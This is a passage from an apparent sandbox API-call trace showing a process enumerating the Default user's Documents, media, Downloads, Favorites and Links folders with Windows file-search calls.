ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0211.363] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.363] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.363] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0211.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0211.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0211.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.363] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents", lpFilePart=0x0) returned 0x1a [0211.363] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*" (normalized: "c:\\users\\default\\documents\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0211.365] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.366] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d527734, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0211.366] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d527734, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0211.366] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d527734, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0211.366] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d527734, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0211.367] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0211.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0211.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0211.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.368] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents", lpFilePart=0x0) returned 0x1a [0211.368] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*" (normalized: "c:\\users\\default\\documents\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469a00 [0211.369] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.369] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d527734, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0211.369] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d527734, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0211.370] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d527734, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0211.370] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0211.370] FindClose (in: hFindFile=0x1d469a00 | out: hFindFile=0x1d469a00) returned 1 [0211.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0211.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0211.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0211.371] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents\\My Music", lpFilePart=0x0) returned 0x23 [0211.371] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*" (normalized: "c:\\users\\default\\documents\\my music\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0211.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dda50) returned 1 [0211.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0211.378] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents\\My Music", lpFilePart=0x0) returned 0x23 [0211.378] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*" (normalized: "c:\\users\\default\\documents\\my music\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0211.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dda50) returned 1 [0211.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0211.383] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents\\My Pictures", lpFilePart=0x0) returned 0x26 [0211.383] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*" (normalized: "c:\\users\\default\\documents\\my pictures\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0211.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dda50) returned 1 [0211.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0211.388] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents\\My Pictures", lpFilePart=0x0) returned 0x26 [0211.388] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*" (normalized: "c:\\users\\default\\documents\\my pictures\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0211.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dda50) returned 1 [0211.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0211.396] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents\\My Videos", lpFilePart=0x0) returned 0x24 [0211.396] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*" (normalized: "c:\\users\\default\\documents\\my videos\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0211.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dda50) returned 1 [0211.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0211.400] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents\\My Videos", lpFilePart=0x0) returned 0x24 [0211.401] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*" (normalized: "c:\\users\\default\\documents\\my videos\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0211.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dda50) returned 1 [0211.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.411] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Downloads", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Downloads", lpFilePart=0x0) returned 0x1a [0211.411] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*" (normalized: "c:\\users\\default\\downloads\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0211.412] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.412] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.412] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0211.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0211.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0211.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.412] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Downloads", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Downloads", lpFilePart=0x0) returned 0x1a [0211.412] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*" (normalized: "c:\\users\\default\\downloads\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0211.413] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.413] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.413] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0211.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0211.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0211.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.413] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Favorites", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Favorites", lpFilePart=0x0) returned 0x1a [0211.414] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*" (normalized: "c:\\users\\default\\favorites\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0211.414] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.414] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.414] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0211.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0211.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0211.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.415] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Favorites", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Favorites", lpFilePart=0x0) returned 0x1a [0211.415] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*" (normalized: "c:\\users\\default\\favorites\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0211.415] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.415] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.415] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0211.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0211.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0211.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.416] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Links", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Links", lpFilePart=0x0) returned 0x16 [0211.416] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*" (normalized: "c:\\users\\default\\links\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0211.417] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.417] FindNextFileW (in: 